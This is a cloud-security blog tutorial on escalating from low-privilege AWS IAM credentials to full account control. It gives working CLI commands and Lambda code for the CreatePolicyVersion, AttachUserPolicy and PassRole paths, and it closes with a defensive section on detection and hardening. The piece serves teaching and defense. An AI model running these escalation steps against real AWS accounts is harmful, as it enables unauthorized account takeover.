AWS IAM Privilege Escalation Paths: From Low-Priv Credentials to Account Takeover

Cloud Security
Time it takes to read this article 6 minutes.

Disclaimer: This article is for education and authorized security testing only. Run these techniques exclusively against AWS accounts you own or have explicit written permission to test. Unauthorized access to cloud resources violates the Computer Fraud and Abuse Act and equivalent laws worldwide, as well as the AWS Acceptable Use Policy.

Introduction / Overview

In AWS, the perimeter is not the network — it is IAM. A leaked access key from a public S3 bucket, a hardcoded credential in a CI pipeline, or an SSRF against an EC2 instance metadata endpoint hands an attacker a starting identity. Whether that foothold becomes a full account takeover depends entirely on the IAM permissions attached to it.

This post walks through the most reliable IAM privilege escalation primitives — iam:CreatePolicyVersion, iam:AttachUserPolicy, and the famously dangerous iam:PassRole — and shows how to enumerate them with tools like enumerate-iam. Equally important, the Detection & Defense section covers the controls that make these paths dead ends.

How it works / Background

IAM privilege escalation almost always boils down to one principle: a principal is allowed to modify, create, or assume an identity that has more permissions than itself. Rhino Security Labs originally catalogued 21+ such paths; the categories that matter most in real engagements are:

  • Policy manipulationiam:CreatePolicyVersion, iam:SetDefaultPolicyVersion, iam:PutUserPolicy.
  • Identity attachmentiam:AttachUserPolicy, iam:AttachGroupPolicy, iam:AddUserToGroup.
  • Credential creationiam:CreateAccessKey, iam:CreateLoginProfile, iam:UpdateLoginProfile.
  • Role abuse via PassRoleiam:PassRole combined with a compute service like Lambda, EC2, Glue, or CloudFormation.

iam:PassRole is the lynchpin of most chains. It does not grant anything by itself; it authorizes a principal to hand an IAM role to an AWS service. If you can pass a high-privilege role to a service you can also create or invoke (e.g. lambda:CreateFunction + lambda:InvokeFunction), the service executes your code with that role's permissions — classic confused-deputy escalation. This maps to MITRE ATT&CK T1098 (Account Manipulation) and T1078.004 (Valid Accounts: Cloud Accounts).

Prerequisites / Lab setup

Build a disposable account or use a sandbox. You need:

  • The AWS CLI v2 configured with a low-privilege profile.
  • A second "victim" role with AdministratorAccess for PassRole demos.
  • enumerate-iam and Pacu installed.
# Configure the foothold credentials
aws configure --profile lowpriv

# Confirm who you are
aws sts get-caller-identity --profile lowpriv
Bash

Walkthrough / PoC

Step 1 — Brute-force the permission set with enumerate-iam

When you compromise a key, you rarely know what it can do. enumerate-iam blasts hundreds of read-only/non-mutating API calls and reports which succeed:

git clone https://github.com/andresriancho/enumerate-iam.git
cd enumerate-iam && pip install -r requirements.txt

python enumerate-iam.py \
  --access-key AKIAEXAMPLE1234567890 \
  --secret-key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
Bash

Output flags every API the key can call. Watch for iam:*, lambda:CreateFunction, and iam:PassRole — those are your escalation candidates.

Step 2 — Path A: CreatePolicyVersion

If your user can call iam:CreatePolicyVersion on a managed policy that is attached to it, you can publish a new policy version granting *:* and set it as default — no iam:AttachUserPolicy required.

# Craft an admin policy document
cat > admin.json <<'EOF'
{
  "Version": "2012-10-17",
  "Statement": [{ "Effect": "Allow", "Action": "*", "Resource": "*" }]
}
EOF

# Publish it as the new DEFAULT version of an already-attached policy
aws iam create-policy-version \
  --policy-arn arn:aws:iam::111122223333:policy/CICDDeployPolicy \
  --policy-document file://admin.json \
  --set-as-default --profile lowpriv
Bash

The --set-as-default flag is the trick: it activates the malicious version instantly. If iam:SetDefaultPolicyVersion is denied separately, you publish the version and switch later.

Step 3 — Path B: AttachUserPolicy

Simpler still. If you hold iam:AttachUserPolicy, attach the AWS-managed AdministratorAccess policy directly to yourself:

aws iam attach-user-policy \
  --user-name bob \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess \
  --profile lowpriv
Bash

Re-run aws sts get-caller-identity and you now effectively own the account.

Step 4 — Path C: PassRole + Lambda

This is the path that survives even when direct IAM-write actions are blocked. Requirements: iam:PassRole, lambda:CreateFunction, lambda:InvokeFunction, and a target role whose trust policy allows lambda.amazonaws.com.

# 1. Find a role you are allowed to pass (admin-grade is ideal)
aws iam list-roles --profile lowpriv \
  --query 'Roles[].[RoleName,Arn]' --output table

# 2. Package code that runs under the passed role
cat > handler.py <<'EOF'
import boto3
def handler(event, context):
    iam = boto3.client('iam')
    return iam.attach_user_policy(
        UserName='bob',
        PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')
EOF
zip function.zip handler.py

# 3. Create the function, PASSING the privileged role
aws lambda create-function \
  --function-name pe \
  --runtime python3.12 \
  --handler handler.handler \
  --zip-file fileb://function.zip \
  --role arn:aws:iam::111122223333:role/LambdaAdminRole \
  --profile lowpriv

# 4. Trigger it — the code runs WITH the admin role's permissions
aws lambda invoke --function-name pe out.json --profile lowpriv
Bash

Pacu automates all of the above. Run its enumeration and escalation modules:

pacu
# inside the Pacu shell:
run iam__enum_permissions
run iam__privesc_scan   # lists viable paths and can auto-exploit
Bash

Mermaid diagram

AWS IAM Privilege Escalation Paths: From Low-Priv Credentials to Account Takeover diagram 1

The diagram shows a single foothold fanning out through enumeration into three distinct escalation primitives, all converging on full account control.

Detection & Defense (Blue Team)

These paths are noisy in the right logs. Defense is a mix of least privilege and detection.

1. Constrain PassRole. Never grant iam:PassRole with Resource: "*". Scope it to a specific role ARN, and use a Condition on iam:PassedToService so the role can only be passed to the intended service:

{
  "Effect": "Allow",
  "Action": "iam:PassRole",
  "Resource": "arn:aws:iam::111122223333:role/AppRole",
  "Condition": {
    "StringEquals": { "iam:PassedToService": "ec2.amazonaws.com" }
  }
}
JSON

2. Use a Permissions Boundary. Attach an IAM permissions boundary to developer and automation principals so that even if they call AttachUserPolicy or CreatePolicyVersion, the effective permissions are capped. Boundaries are evaluated as an explicit ceiling and cannot be exceeded by added policies.

3. Service Control Policies (SCPs). At the AWS Organizations level, deny the dangerous IAM write actions (iam:CreatePolicyVersion, iam:AttachUserPolicy, iam:CreateLoginProfile, iam:PassRole to admin roles) for everything except a tightly controlled break-glass principal.

4. Detect with CloudTrail. Every action above generates a management-event record. Build CloudWatch/Athena/GuardDuty alerts on:

  • CreatePolicyVersion with setAsDefault=true
  • AttachUserPolicy / AttachGroupPolicy where the policy ARN is AdministratorAccess
  • CreateFunction immediately followed by PassRole of a privileged role
  • enumerate-iam-style behavior: hundreds of AccessDenied errors from one identity in seconds (GuardDuty finding Discovery:IAMUser/AnomalousBehavior)
# Hunt for default-version policy swaps in CloudTrail
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=CreatePolicyVersion \
  --query 'Events[].CloudTrailEvent' --output text
Bash

5. Use IAM Access Analyzer to surface unused permissions and over-permissive policies, and rotate/disable leaked keys immediately. Enforce MFA on console logins to blunt CreateLoginProfile/UpdateLoginProfile abuse.

For broader cloud attack-surface reduction, see my notes on securing EC2 metadata against SSRF and hardening S3 bucket policies. The detection mindset overlaps heavily with building a CloudTrail threat-hunting pipeline.

Conclusion

AWS IAM privilege escalation is rarely a single exploit; it is the predictable consequence of over-broad permissions. iam:PassRole, CreatePolicyVersion, and AttachUserPolicy are the actions that turn a throwaway credential into root-of-the-account. The defensive answer is unglamorous but decisive: least privilege, permissions boundaries, SCPs, and CloudTrail alerting on the exact API calls shown above. Enumerate your own identities before an attacker does.

References

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL